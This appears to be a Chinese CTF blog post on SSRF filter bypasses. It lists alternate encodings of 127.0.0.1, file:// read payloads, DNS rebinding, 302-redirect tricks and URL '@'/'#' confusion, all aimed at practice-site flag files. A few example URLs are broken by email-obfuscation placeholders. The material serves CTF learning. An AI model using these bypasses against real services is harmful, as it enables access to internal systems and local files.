CTF之SSRF常见绕过

1.绕过localhost和127.0.0.1

当程序中限制了我们使用localhost和127.0.0.1时,便可以利用进制转换来绕过

http://0x7F.0.0.1	//16进制
http://0177.0.0.1	//8进制
http://2130706433	//10进制整数格式
http://0x7F000001	16进制整数格式
http://127.1	//省略模式
http://127.127.127.127	//用CIDR绕过localhost
http://0	//特殊地址0
http://0.0.0.0
http://[::1]	//ipv6回环地址

ip进制转换:https://tool.520101.com/wangluo/jinzhizhuanhuan
进制转换:https://www.sojson.com/hexconvert.html

2.CTFSHOW例题:

2.1 直接利用SSRF漏洞进行本地读取flag:

Payload:url=http://127.0.0.1/ctf/ssrf/flag.php
Payload:url=file:///C:/phpstudy/phptutorial/www/ctf/ssrf/1.txt

在这里插入图片描述
2.2 绕过localhost和127.0.0.1

Payload:url=http://127.127.127.127/ctf/ssrf/flag.php

在这里插入图片描述
2.3 绕过localhost和0和1
(1)DNS重绑定:

http://test.com ——> 127.0.0.1

公共域名解析到127.0.0.1:

https://blog.csdn.net/lovelyelfpop/article/details/107306577

(2)302跳转:

header("Location:http://127.0.0.1/flag.php");
Payload:url=http://safe.taobao.com/ctf/ssrf/flag.php

在这里插入图片描述
2.4 绕过限定的URL
URL中#、@的妙用:

例:https://www.baidu.com#www.qq.com
https://[email protected]
http://[email protected]  //实则访问www.qq.com
http://www.baidu.com#www.qq.com  //实则访问www.baidu.com
Payload:url=http://[email protected]/ctf/ssrf/flag.php#show

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_42383069/article/details/130344397